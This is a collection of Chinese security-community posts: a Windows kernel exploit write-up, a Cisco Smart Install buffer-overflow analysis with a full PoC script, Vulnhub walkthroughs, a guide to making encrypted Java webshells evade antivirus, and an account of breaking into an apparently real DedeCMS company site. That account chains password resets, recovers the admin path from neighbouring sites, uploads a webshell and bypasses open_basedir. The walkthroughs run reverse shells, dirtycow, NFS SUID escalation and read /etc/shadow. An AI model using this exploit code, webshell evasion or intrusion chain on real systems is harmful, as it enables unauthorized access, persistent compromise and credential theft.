所以我猜测它应该是一个`pool`, 而不是堆栈. 于是我运行了如下命令.
其中需要留意的信息有:
[+] Gebr为其tag.
[+] 0x17ab5000与其复制的length是十分不一致的. 当然也有可能是由于其有特殊的运算规则.
[+] 漏洞相关的pool存在paged session pool
所以在这里我就已经可以开始推测其为整数溢出了. 理由如下
[+] 正常逻辑下size与其实际大小应该是一一对应的.
[+] 此处记录的size远大于其实际大小
[+] 推测:
==> size被记录
==> 某种特殊的规则导致分配实际大小溢出变小
#### 第二步
于是借助于`tag`(tag真的很有用)与前面的逻辑分析. 我定位到了分配此内存的点. 在`EngRealizeBrush`函数当中.
代码的修复你依旧可以参照可爱的`windows nt`的源码来完成. 与`ulSizeTotal`相关的赋值语句在这里.
可能你会比较疑惑的是各个变量的意义是什么, 与前面的思路一样, 我采用了动态调试验证.(定位到函数流, 跟着走一遍, 观察相应变量的值).
给出结论之前先看我们POC代码中的`CreateDiscardableBitmap`函数.
动态调试得到的结论是:
[+] cjsCanpat = (cx * 0x20 >> 3);
[+] v49 = cjScanpat * cy
[+] ulSizeTotal = cjsPanat * cyInput * 0x44
[+] 整理扩展一下pool整体分配的公式:
poolsize = ((cx * 0x20) >> 3) * cy + 0x44 + 0x40 + 0x8(x86下的pool header)
我们原来POC传入的大小是:
hBitMap = CreateDiscardableBitmap(hdcCall, 0xDEAD000, 0x1);
借助于windbg, 让我们来算一下我们的结论是否正确:
我们可以看到和我们前面的`size`(0x17ab5000)完全扯不上关系, 这是由于windbg实现的是无溢出的结果.
需要留意的是我们的`1bd5a出现了`
而另外一个方面我编写了如下的c程序来看看程序的输出.
bingo, 所以错误出现了, 我们看到了溢出的曙光.
这里的溢出一共有三个位置:
[+] cx * 0x20
[+] ((cx * 0x20) >> 3) * cy + 44
[+] poolsize = ((cx * 0x20) >> 3) * cy + 0x44 + 0x40
#### 利用思路
在后面的故事当中, 我查阅了的这篇文章. 获取了利用思路.
查阅了小刀师傅给的一个关键数据.
我们选取的大小为0x10(后面我会解释0x10的分配为什么合适), 漏洞分配的pool整体大小是`0x10+8(header)
验证:
之后的利用思路如下:
[+] 风水布局布置成0xf80(bitmap)+0x18(空闲)地址
[+] 触发漏洞使其填充0x18
[+] 利用后面的代码覆盖相连的bitmapA的一个关键变量扩充其读写能力
[+] 利用bitmapA扩充之后的读写能力去覆盖相连的bitmapB的pvScan0
[+] bitmapB成为manager bitmap
任意选取一个worker bitmap
[+] 由worker bitmap来实现任意读写
听着有点乱? 让我们一步一步的来.
#### pool fengshui
我们最后的布局效果如下
0xfe8(bitmap alloc) + 0x18(free)
首先来解释为什么需要是这个布局(细节可以在这里找到):
[+] fe8大小的内存块会放在页的开头. 释放相连堆块的时候不会进行`pool header`有无被破坏的检测
[+] 0x18会被内核漏洞点分配的pool填充
[+] 漏洞的结构体是paged session pool --> 这个信息对pool fengshui十分有用.
##### 实现.
fengshui布局这里我不会讲的太细, 因为在后面的一篇爬坑指南当中我会去详细的解释fengshui布局的相关爬坑.
首先我们要选取合适的数据. 也就是刚刚可以分配`0xfe8`大小的pool, 以及此分配的pool应该为non page pool.
于是我想到了我在github上面维护的那个项目.
使用CreateBitmap是一个很好的选择.
在调试之后(具体的调试技术在我的另外一篇爬坑文章). 再保持其余参数不变的情况下. 随着width的关系如下:
// size = ((width-100) * 0x2) + 0x360
for (int i = 0; i < 0x1000; i++)
{
hBitmap[i] = CreateBitmap(0x744, 2, 1, 8, NULL);
}
验证:
而另外一个0x18的分配我采用了k0shi师傅的Class进行了分配,
这几天发现了`lpszMenuName`也适合(请期待我的fengshui布局的文章). 代码如下.
最后的结果验证:
##### 当前读写能力.
bitmap对应的在内核当中的结构体如下(来源: 小刀师傅的博客)
typedef struct tagSIZEL {
LONG cx;
LONG cy;
} SIZEL, *PSIZEL;
typedef struct _SURFOBJ {
DHSURF dhsurf; //<[00,04] 04
HSURF hsurf; //<[04,04] 05
DHPDEV dhpdev; //<[08,04] 06
HDEV hdev; //<[0C,04] 07
SIZEL sizlBitmap; //<[10,08] 08 09
ULONG cjBits; //<[18,04] 0A
PVOID pvBits; //<[1C,04] 0B
PVOID pvScan0; //<[20,04] 0C
LONG lDelta; //<[24,04] 0D
ULONG iUniq; //<[28,04] 0E
ULONG iBitmapFormat; //<[2C,04] 0F
USHORT iType; //<[30,02] 10
USHORT fjBitmap; //<[32,02] xx
} SURFOBJ;
微软有两个API函数:
其中`pvBits`参数存放一些字符串. 会放到`pvScan0`指向的地方. 而能够读写的能力是由`SIZEL sizlBitmap`决定的.
其能够读写的`size = cx *cy`. 所以当其中的数据如果原来的`cx = 1, cy = 2`. 原有的读写能力应该是`2 * 2 = 2`.
如果能覆盖其关键变量`cx = f, cy = f`. 现有的读写能力就为`f * f = e1`. 利用扩充的读写能力.
我们就可以对此bitmap相连的另外一个bitmap实现读写. 修改器`pvScan0`的值.
从而实现任意读写(bitmap滥用会在我的另外一篇博客里面).
现在, 让我们来观察一下污染前后的数据对比.
可以看到我们的读写能力发生了天大的变化:
而在IDA对应的污染数据的代码如下:
这里可以看到我们的污染最多只能可控到0x3c处, 这就是我们的size为什么要分配0x10的理由.
##### bitmap滥用获取任意读写权限.
在今天或者明天, 我会更新bitmap滥用的细节性分析(从windows7到windows10). 所以在这里就不再赘述.
我这里讲一些其他的操作. 根据前面的读写能力的改变. 我们能够得到哪一个bitmap被覆盖.
##### fix header
我们可以通过前面的数据对比获取哪些成员变量被破坏了, 依赖于我们的bitmap获取了任意读写. 能够很轻松的实现修复. 其中修复handle那里.
在我上面的截图紫色的部分. 发现其残留了一个handle的备份. 实现了恢复. 也借助于此. 我获取了hmanager的句柄值. 相关的代码如下:
##### 提权.
提权与我的第二篇博客类似, 都是替换`nt!haldispatchtable`的指针.
你可以去看一下我的[第二篇博客](https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-2/)
代码:
## 验证:
## 后记
`DDCTF`困扰我的点主要在分析那里, 我花了较长的时间分析其中怎么控制内核中的数据. 做的不太好的地方是构造数据那里.
实在无法了才借用了小刀师傅的数据.学到了很多的东西. 也改变了我对做内核的一些看法. anyway, 希望这一篇文章能够对你有一点点小小的帮助.
最后, wjllz是人间笨蛋.
## 相关链接:
[+] sakura师父博客: http://eternalsakura13.com/
[+] 小刀师傅博客: https://xiaodaozhi.com/
[+] 整数溢出利用思路: https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/
[+] 本文exp: https://github.com/redogwu/cve-study-write/tree/master/cve-2017-0401
[+] k0shi师傅的exp: https://github.com/k0keoyo/DDCTF-KERNEL-PWN550
[+] 我的个人博客: redogwu.github.io
[+] 我的github地址: https://github.com/redogwu
[+] 第一篇: https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/
[+] 第二篇: https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-2/ | 社区文章 |
# CVE-2018-0171 Cisco Smart Install远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞背景
2017年GeekPwn香港站，俄罗斯安全研究人员George Nosenko成功演示思科Smart
Install缓冲区溢出漏洞（CVE-2018-0171）获得最佳技术奖，同时该漏洞相关信息也提交给思科。2018年3月28日，思科在官方安全更新中发布了该漏洞的补丁，随后EMBEDI官方博客也陆续更新了漏洞的部分技术细节，PoC代码和演示视频资料。
从已经公开的资料来看，这个漏洞是一个基于缓冲区溢出的远程代码执行漏洞，它影响多个版本Cisco IOS 和IOS
XE软件。同时，运行相应软件的交换机设备需要开启Smart Install
功能。如果该漏洞被攻击者成功利用，则可造成设备崩溃，或允许攻击者绕过验证远程执行代码，进而控制设备并产生进一步攻击行为。本文出于探究Cisco交换机设备IOS系统固件漏洞原理和调试分析方法，基于已公开信息，分析漏洞产生的原因和潜在利用过程，将部分技术细节予以呈现，并对Smart
Install的相关风险提出安全建议。
## 0x01 漏洞简要介绍
**1\. 关于Smart Install**
* * *
Smart Install是一种远程自动化部署（zero-touch）的思科交换机配置和管理解决方案，其网络由一个作为Smart Install
Director（也称为集成分支管理器，IBD）和若干个作为Smart Install Client的交换机（也称为IBC）组成。Smart
Install功能在client端无需任何配置默认开启，无需用户认证，可以通过命令将TFTP服务器上的配置文件和固件镜像分配给客户端，实现配置和部署。而配置信息和镜像信息等均存放在数据库当中。
由于SMI协议无需认证，所以可以通过构造TCP数据包完成很多事情，例如：
替换客户端配置信息中的TFTP服务器地址；
替换客户端配置文件为TFTP服务器的文件；
命令客户端下载TFTP服务器的固件并升级；
在客户端执行部分命令(部分新版本可用)；
……
所以说，即使不存在漏洞，Smart Install 协议本身如果管理不善也会存在很多安全隐患。
**2\. CVE-2018-0171漏洞原理**
* * *
CVE-2018-0171是一个远程代码执行漏洞，存在于安装Smart Install功能的Cisco 交换机设备解析Smart
Install协议请求的过程中。由于设备在解析Smart Install请求时缺少对数据内容的验证，使得攻击者可以通过向设备TCP
4786端口发送精心构造的数据包，通过对memcpy字节数的自由控制，造成缓冲区溢出。该漏洞可能对设备造成如下影响：
设备崩溃并重载；
在设备上造成无限循环，触发WatchDog机制；
绕过验证执行任意代码。
**3\. 影响范围**
* * *
根据Cisco官方的说法，配置为Smart Install Director的设备不会受漏洞影响，只有配置Smart Install
Client的设备会受漏洞影响。受影响的设备和软件版本如下所示：
## 0x02 漏洞分析
**1\. 调试环境准备**
* * *
调试环境如下：
设备型号 Cisco Catalyst 2960-S
固件版本 c2960s-universalk9-mz.122-55.SE7.bin
动态调试工具 IODIDE & gdb
静态调试工具 IDA Pro
思科高版本固件不再提供gdb kernel 命令支持，但可以通过修改启动参数的方式以调试模式启动固件。具体到Catalyst
2960即为：开机进入recovery模式，并键入如下命令序列：
flash_init
boot –n path_to_image（当镜像路径为空时，启动默认镜像）
设备启动后，即可使用gdb串口连接，远程调试。
**2\. PoC代码分析**
* * *
研究人员公开的PoC代码如下所示：
# smi_ibc_init_discovery_BoF.py
import socket
import struct
from optparse import OptionParser
# Parse the target options
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.2")
parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)
(options, args) = parser.parse_args()
def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v
def send_packet(sock, packet):
sock.send(packet)
def receive(sock):
return sock.recv()
if __name__ == "__main__":
print "[*] Connecting to Smart Install Client ", options.target, "port", options.port
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((options.target, options.port))
payload = 'BBBB' * 44
shellcode = 'D' * 2048
data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload
tlv_1 = craft_tlv(0x00000001, data)
tlv_2 = shellcode
hdr = 'x00x00x00x01' # msg_from
hdr += 'x00x00x00x01' # version
hdr += 'x00x00x00x07' # msg_hdr_type
hdr += struct.pack('>I', len(data)) # data_length
pkt = hdr + tlv_1 + tlv_2
for i in range(len(pkt)):
print ord(pkt[i])
print "[*] Send a malicious packet"
send_packet(con, pkt)
上面的代码中，我们看到作者是采用TLV即Type-Length-Value的序列来封装数据包的。
其中 TLV_1中的value由36个连续的“A”，len(payload) + len(shellcode) + 40和176个连续的“B”组成。
如此构造数据包的原因将在漏洞原理分析部分进一步说明。
**3\. 捕获数据包**
* * *
**4\. 漏洞原理分析与调试**
* * *
启动交换机并配置局域网，然后在局域网内设备运行PoC代码，导致设备崩溃重启，部分Crash Info如下所示：
根据崩溃信息中与调用栈有关的信息，确认应该是死循环触发了WatchDog机制，导致系统强制重启。
通过静态分析代码以及PoC的动态调试，我们确定漏洞产生于smi_ibc_handle_ibd_init_discovery_msg函数中，在这个镜像中是SUB_B258CC函数。函数的代码流程如下所示：
结合PoC代码，静态分析和动态调试的结果，该函数的参数如下所示：
第一个参数：指向TLV序列中type的指针；
第二个参数：TLV序列中的length；
第三个参数：指向数据包头部四个标志信息msg_from | version | msg_hdr_type | data_length的指针；
第四个参数：指向TLV序列的指针。
函数首先会判断data的长度是否为0，如果不为0，则会利用一个do-while循环结构解析存储数据包的内容，而漏洞也发生在这个循环结构当中。
从上图的代码逻辑看，代码首先会判断tlv_type是否为1，如果为1，则取出tlv_length的信息，如果tlv_length不为0，则将之保留，并作为参数传给memcpy用来限制要复制payload的长度。
在这个过程中，会产生这样的问题：设备在解析数据包时，会从数据包中取出待存储字节流的长度，并且不加验证地复制相应字节数的数据。然而，目的地址为存放在栈帧中的局部变量，如果数据包中取出的字节长度达到一定值时，可能会由于数据长度过大而破坏函数的栈帧，造成栈溢出。
在调试PoC代码的过程中，由上文对PoC代码的解读可知：受漏洞影响的设备在解析PoC代码构造的数据包时，会取出0xd8作为memcpy的参数用来复制payload，而SUB_B258CC函数开辟的栈帧大小为0x58。执行memcpy操作后，造成当前栈帧溢出。下面两图的即为memcpy的参数和函数执行后堆栈被破坏的过程。
上图表明0x318e890位置开始0xd8字节的内容会被复制到栈帧中0x3df24a8开始的缓冲区当中。
上图为memcpy操作后，函数栈帧的内容，该函数的栈帧为大小为0x58个字节，显然已经造成了缓冲区溢出，并由0x42424242覆盖函数返回后跳转执行代码区域的指针。至此缓冲区溢出过程分析完毕。
## 0x03 总结
与往常相似，每当Cisco网络设备被曝出远程代码执行漏洞，都会引起广泛关注。尤其是近期发生的JHT组织劫持大量俄罗斯、伊朗Cisco交换机设备的事件。虽然这些事件通过业内的广泛讨论后表明：攻击者的攻击手法很可能源自于Smart
Install协议的误用，同时攻击过程也无需远程代码执行，但该事件仍然提升了CVE-2018-0171受重视的程度。
目前Shodan系统中仍能检索到超过15万台开启Smart Install
Client的思科设备。虽然目前还没有公开的漏洞利用工具，但仅就漏洞分析的情况来看，漏洞利用实现过程中需要完成的绕过DEP、布局shellcode以及绕过WatchDog机制等几个过程，也都有迹可循，通过shellcode的执行绕过设备认证模块实现设备的特权登录，仅仅是时间问题。
SMI协议存在不依赖认证而可能导致设备被非授权访问，如果Smart
Install功能配置使用不当，即使没有该漏洞的存在，同样会造成上文提到的非授权访问进行恶意操作的风险，造成配置文件的泄露或修改。
综上，对于网络安全运维管理的建议如下：
1.如果不需要Smart Install功能或仅用作网络设备初始自动化部署的，部署完成后使用no vstack命令关闭Smart
Install功能，特别在线上有外网环境的；但需要注意的是部分版本因为no vstack无法做到持久化，重启后需要重新配置
2.如果需要长期开启Smart Install功能，需要对相关Client设备做必要的接口ACL限制，过滤除Smart Install
Director之外的TCP 4786端口流量，或通过控制面板策略（CoPP）来进行限制；
3.条件允许的情况下，尽可能及时给受漏洞影响的设备打补丁升级；
4.使用思科新的即插即用（Cisco Network Plug and Play）解决方案代替Smart Install 功能。
## 参考资料
<https://embedi.com/blog/cisco-smart-install-remote-code-execution/>
<https://github.com/nccgroup/IODIDE>
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2>
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi>
<https://www.cisco.com/c/en/us/td/docs/solutions/Enterprise/Plug-and-Play/solution/guidexml/b_pnp-solution-guide.html>
<http://cert.europa.eu/static/SecurityAdvisories/2017/CERT-EU-SA2017-003.pdf> | 社区文章 |
# HackFest:Sedna
目标：这台机器的目的是为那些在使用Vulnhub做机器方面有经验的人提供帮助
这台机器上有4个标志，一个用于shell，一个用于root访问，两个用于在Sedna上进行后期开发
## flag1
使用nmap 扫描端口信息
nmap -v -T5 -A 192.168.31.72
看到部分详细信息，我们尝试打开80。查看一下源码，里面就一张图片，并没有什么线索。
图上还有部分端口信息没有显示出来，还开放有8080端口。是一个tomcat页面
使用dirsearch-master扫描目录
python3 dirsearch.py -u <http://192.168.31.72> -e *
根据目录扫描的结果，我们查看一下robots.txt。
> User-Agent: *
> Disallow: Hackers
我们访问一下Hackers 发现目录被限制访问
查看license.txt ，发现一些信息，其中Copyright (c) 2012 - 2015 BuilderEngine / Radian
Enterprise Systems。BuilderEngine/Radian企业系统，这是一条线索。
> The MIT License (MIT)
>
> Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems
> Limited.
>
> Permission is hereby granted, free of charge, to any person obtaining
> a copy of this software and associated documentation files (the
> "Software"), to deal in the Software without restriction, including
> without limitation the rights to use, copy, modify, merge, publish,
> distribute, sublicense, and/or sell copies of the Software, and to
> permit persons to whom the Software is furnished to do so, subject to
> the following conditions:
>
> The above copyright notice and this permission notice shall be
> included in all copies or substantial portions of the Software.
>
> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
通过google搜索BuilderEngine exp ，在exploit-db找到漏洞利用的脚本
<https://www.exploit-db.com/exploits/40390>
下载好的exp，我们修改一下action地址为靶机地址192.168.31.72
upload.html
<html>
<body>
<form method="post" action="http://192.168.31.72/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>
我们打开upload.html，上传一个php的shell
可以看到有个url: <http://192.168.31.72/files/t.php> 这个就是shell的路径了
使用菜刀连接shell，打开命令行，搜索一下flag.txt
find -name 'flag.txt'
> ./var/www/flag.txt
查看flag.txt
cat /var/www/flag.txt
> bfbb7e6e6e88d9ae66848b9aeac6b289
## flag2
尝试提权，拿到第二个flag
查看系统名、节点名称、操作系统的发行版号、操作系统版本、运行系统的机器 ID 号
uname -a
> Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC
> 2014 i686 i686 i686 GNU/Linux
查看系统安装时默认的发行版本信息
cat /etc/lsb-release
> DISTRIB_ID=Ubuntu
> DISTRIB_RELEASE=14.04
> DISTRIB_CODENAME=trusty
> DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
**建议在提权之前做一次靶机的快照。**
由于菜刀执行提权脚本时会阻塞，而且无法使用交互式的shell。这里我们切换成NC的shell
这里我们上传一个PHP脚本，并在kali用NC监听7777端口
我们访问<http://192.168.219.139/files/testa.php> ，kali接收到了靶机传来的shell
输入Id,看到目前的权限还只是www-data
提权脚本<https://www.exploit-db.com/exploits/40616>
我们上传到files目录下，执行命令,可以看到最后执行提升到了root权限。
gcc cowroot.c -o cowroot -pthread
./cowroot
id
我们切换到root目录下， 查看一下flag
## flag3
找到tomcat的账户密码
cat etc/tomcat7/tomcat-users.xml
## flag4
找到需要解密的hash
cat /etc/shadow
$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/
# HackFest:Orcus
目标：这台机器上有4个标志1.获得一个shell
2.获得root访问权限3.框上有一个帖子开发标志4.此框中有一些东西与此系列中的其他东西不同（Quaoar和Sedna）找到它的不同之处。
## flag1
使用nmap扫描
nmap -v -T5 -A 192.168.31.119
使用dirsearch-master扫描目录
python3 dirsearch.py -u <http://192.168.31.119> -e *
根据扫描到的结果，我们访问admin,打开后查看一下源码，发现一个hint
This is a backup taken from the backups/
提示说这是一个备份，访问backups
尝试把SimplePHPQuiz-Backupz.tar.gz下载下来
源码里面，包含了数据库配置的文件。
db_conn.php
//Set the database access information as constants
DEFINE ('DB_USER', 'dbuser');
DEFINE ('DB_PASSWORD', 'dbpassword');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'quizdb');
刚好有一个phpmyadmin，输入账号密码登陆。
构造写shell的sql语句
SELECT 'test' into OUTFILE 'var/www/html/test.txt';
查看了一下资料secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and
LOAD_FILE()传到哪个指定目录的。
我们查看一下限制的目录
SELECT @@secure_file_priv
尝试通过修改mysql日志文件存储路径写shell，没有权限修改。
set global general_log_file='/var/www/html/log.php';
那只能换一个思路了。
一般数据库名，也是系统的名称。尝试访问一下。
<http://192.168.31.119/zenphoto>
发现一个未安装的CMS，谷歌了一下，发现这个CMS有些漏洞可以尝试。
填写数据库配置，设置后台用户名、密码。
登陆上去看一下。
在plugin下有个elFinder插件，开启以后，我们就可以任意上传文件了
我们把t1.php拖进去上传。
shell的路径:<http://192.168.31.119/zenphoto/uploaded/t1.php>
我们在kali监听4444端口
nc -lvp 4444
访问shell路径
使用python弹shell
python -c 'import pty; pty.spawn("/bin/bash")'
查询web目录下，有没有存在flag.txt
find /var/www/ -name 'flag.txt'
查看flag.txt文件
cat /var/www/flag.txt
## flag2
尝试一下提权操作。
之前扫描到2049的端口（NFS）,类似于文件服务器，这个如果存在配置不当，可以提升ROOT权限。
参考：<https://bbs.pediy.com/thread-222518.htm>
查看一下NFS的挂载点
showmount -e localhost
在kali下创建一个目录用于挂载NFS，然后挂载到本地
> sudo mkdir /mnt/orcus
> sudo mount -t nfs 192.168.0.110:/tmp /mnt/orcus
在靶机执行：
> cp /bin/bash wroot
在kali上执行：
chown root:root 文件 wroot 的拥有者设为 root群体的使用者 root
chmod u+s文件执行时把进程的属主或组ID置为该文件的文件属主
> sudo su
> chown root:root wroot
> chmod u+s wroot
>
>
最后在靶机执行：
./wroot -p
这里使用NFS提权。造成root提权的原因是 no_root_squash这个参数
no_root_squash：登入NFS主机，使用该共享目录时相当于该目录的拥有者，如果是root的话，那么对于这个共享的目录来说，他就具有root的权限。
靶机地址：
<https://www.vulnhub.com/entry/hackfest2016-orcus,182/>
<https://www.vulnhub.com/entry/hackfest2016-sedna,181/> | 社区文章 |
# 利用Java反射实现加密型webshell的免杀
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文以哥斯拉和冰蝎为例，讲解如何使用反射机制来实现加密型webshell的免杀。
## 0x01 基础知识
反射是Java的一种动态特征。反射的存在可以让运行中的Java程序能够获取自身的信息，并且可以操作对象或者类的内部属性。简单来说，通过反射，我们可以在运行时获取程序集中每一个类型的成员或者成员信息。
下面简单介绍以下本次用到类和的方法：
#### java.lang.Class类：
反射中的字节码对象，可以通过对象来获取，也可以通过对应类型的class变量获取，或者根据下面的forName方法获取。
#### forName方法
#### java.lang.reflect.Method 类
反射中的方法对象，可以通过对象来获取，也可以通过对应类型的class变量获取。
#### getMethod方法
返回某一个类的特方法，该方法的第一个参数为方法名，后面的参数为该方法的参数对应的class对象。
#### invoke方法
对一个方法进行调用，第一个参数为调用此方法的对象，后面的参数为该方法的参数
## 0x02 哥斯拉的免杀情况测试
经过测试，未经处理的哥斯拉木马可以绕过的杀软有Windows Defender和360杀毒
#### Windows Defender
#### 腾讯管家
#### 火绒杀毒
经过分析，发现火绒目前是通过分析文件特征中的特定字符串来确认木马的。
哥斯拉/冰蝎是加密木马，从payload到待执行的命令都是经过加密的，传统的基于命令执行的检测方法解基本都失效了。因此火绒杀毒采用了检测木马中是否存在”javax.crypto.Cipher”这一关键类来作为判断是否存在加密木马的关键依据。
关于这一点我们可以将Cipher关键字修改成其他的（当然这样的木马是不能执行的），即可验证我们的推断。（PS： **这一点同样适用于冰蝎** ）
#### 修改前：
#### 修改后：
## 0x03 利用反射将重写关键代码
由0x02中的结论得出，我们要重写的是如下部分的代码中x方法的方法体，我们保留方法的定义和参数，保留原有的try –
catch结构，将里面的高亮的代码删除：
首先使用Class.forName方法加载Cipher类，防止其被检测到
String xo = "java"+"x.crypto.C"+"ipher";//字符串拆成三段防止被静态检测
Class ci = Class.forName(xo);
然后下一步则是通过getMethod方法来获取getInstance方法，用于初始化Cipher对象,同时使用invoke方法调用getInstance(“ASE”)；
String xo = "java"+"x.crypto.C"+"ipher";
Class ci = Class.forName(xo);
java.lang.reflect.Method g = ci.getMethod("getInstance", String.class);
Object c = ci.cast(g.invoke((null),"A"+"ES"));
PS:
可能有师傅会对第4行代码产生疑问，getInstance返回的不应该是Cipher对象吗，为啥还要强制转换？强制转换成Cipher之后为啥又要定义成Object类？有必要这样来回套娃吗？
答：这里是Java多态性的一种动态体现，背过Java面试八股文的师傅应该有所了解，这里用一段代码来简单解释：
B是A的子类，虽然变量b被定义A类型，但是调用getA_Filed的方法时仍然调用了重载后的方法。
回到我们的木马中，第四行的invoke方法，相当于返回了一个经过向上转型为Object类对象的Cipher对象，需要经过一次向下转型之后才能成为Cipher对象，但是为了避免再一次在我们的木马中出现”Cipher”这一关键字，我们仍然使用其父类的定义，但是不影响其方法的调用。
）
现在我们绕开了Cipher这个关键词，获取了一个Cipher对象，接下来我们用invoke来重写加密和返回的过程
String xo = "java"+"x.crypto.C"+"ipher";
Class ci = Class.forName(xo);
java.lang.reflect.Method g = ci.getMethod("getInstance", String.class);
Object c = ci.cast(g.invoke((null),"A"+"ES"));
ci.getMethod("init",int.class,java.security.Key.class).invoke(c,m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return (byte[]) c.getClass().getMethod("doFinal",byte[].class).invoke(c,s);
注意：虽然变量c是属于Cipher类，但是在编译为字节码的过程中仍然会把c作为Object来处理，而init方法在Object中没有定义，所以我们要再次使用invoke方法来调用init方法。
这样我们的改造工作就完成了。
使用哥斯拉进行连接测试，发现完美执行：
## 0x04 免杀情况测试
可以完美绕过腾讯安全管家和火绒杀毒
## 0x05 References
1)《Java代码审计入门篇》 人民邮电出版社
2) 基于污点分析的webshell检测 <https://xz.aliyun.com/t/10622#toc-4>
3) Java基础（多态的理解与应用)
<https://blog.csdn.net/qq_41679818/article/details/90523285> | 社区文章 |
今天又是准备 ~~划水~~ 认真工作的一天，没想到一到公司领导就甩了个站过来，这可能就是打工人吧
话不多说来看看站，先信息收集一波
# 初步测试目标站点
打开进去是一个类似购物商城的地方，没有什么特殊的点，想要操作基本都要进行登录，中间件是nginx
再看看插件，惊喜来了，是dedecms
先直接盲打一波后台地址/dede 直接404......
再看看好歹有前台，先注册个用户
再查看最后更新时间
可以知道是dedecms v5.7 sp2的版本
这个版本之后有前台管理员密码重置漏洞和任意密码重置漏洞,可以试一下组合拳
1.先注册个00001账户，因为00001经过intval()后值为1 (用来登录admin)
2.再访问/member/index.php?uid=00001的用户界面，获取响应包的`last_vid__ckMd5`值
3.访问/member/，替换`DedeUserID`为0001，`DedeUserID__ckMd5`的值为刚才的`last_vid__ckMd5`的值
这时候就发现已经登录了admin的账户
再将这个修改操作放到浏览器上，修改浏览器的cookie，成功在网页上登录
这时候再配合dedecms最新版任意用户密码重置漏洞修改管理员密码
先点击下面连接请求key
[http://X.X.X.X/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1](http://X.X.X.X/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1)
点击之后，一闪而过的稍后跳转到修改页
马上就变成非法提交。。。
再用开始的链接去访问
但开始有请求成功的跳转连接，应该还是成功生成了key，再看看浏览记录，返回第一次的页面，再用我的黄金右手快速点击立即跳转，成功进入重置界面
这里稍微提一下，这里重置完密码之后还要在前台的账户设置里再次修改密码，因为这个前台修改任意用户密码的洞只能改dede_member表里的用户信息，而管理员信息存在另一个表dede_admin中，所以要从前台登录管理员账户并修改dede_admin表里的密码，才是真正修改了管理员密码。
现在管理员账户密码都有了，就差老大难问题，找后台
网上有些5.7 sp2的前台getshell，但都是伪前台，在sp1之后还是需要后台地址才能getshell
网上有大佬写的爆后台脚本，但只在windwos上能用，现在目标是Linux的系统
# 旁站数据库报错文件找出后台
经过一番查询，发现dedecms的data下有个mysqli_error_trace.inc文件，此文件记录mysql查询错误,如果有后台查询出现错误则会暴露后台路径。但是主站的报错都是plus目录下的
通过前期的信息收集找到该网站的真实ip，发现是华为云
一般这种站只要有旁站大概率可能也有使用了dedecms的站
通过ip反查域名，发现其旁站大多都是同类型的公司站点
当时我用的云悉，结果只查出来一个.......这个站还不是dede(打脸打脸)
又在fofa上查,结果有一堆旁站,随便挑了一个域名直接把数据库报错文件的路径拼接上去,果然出现了一个没见过的路径
拼接这个路径到主站域名访问，成功找到后台
然后用之前拿到的管理员登陆后台->上传一句话->连接一气呵成
# bypass disable_function
准备执行命令验证，发现函数都被禁用了
disable_functions : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
而且还有open_basedir限制了目录访问
为了方便绕过disable_function，先bypass open_basedir
可以使用代码
<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>
但是哥斯拉内置了bypass open_basedir的插件，就直接上哥斯拉了。连上之后发现还是有挺多网站的。
再把哥斯拉内置的bypassdisable_functions模块都试了一遍,都失败了。
